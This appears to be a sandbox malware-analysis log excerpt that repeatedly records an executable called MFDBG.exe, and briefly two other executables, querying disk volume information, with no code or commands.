Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe VolumeInformation
Source: C:\ProgramData\EBGDHJECFC.exe Queries volume information: C:\ProgramData\EBGDHJECFC.exe VolumeInformation
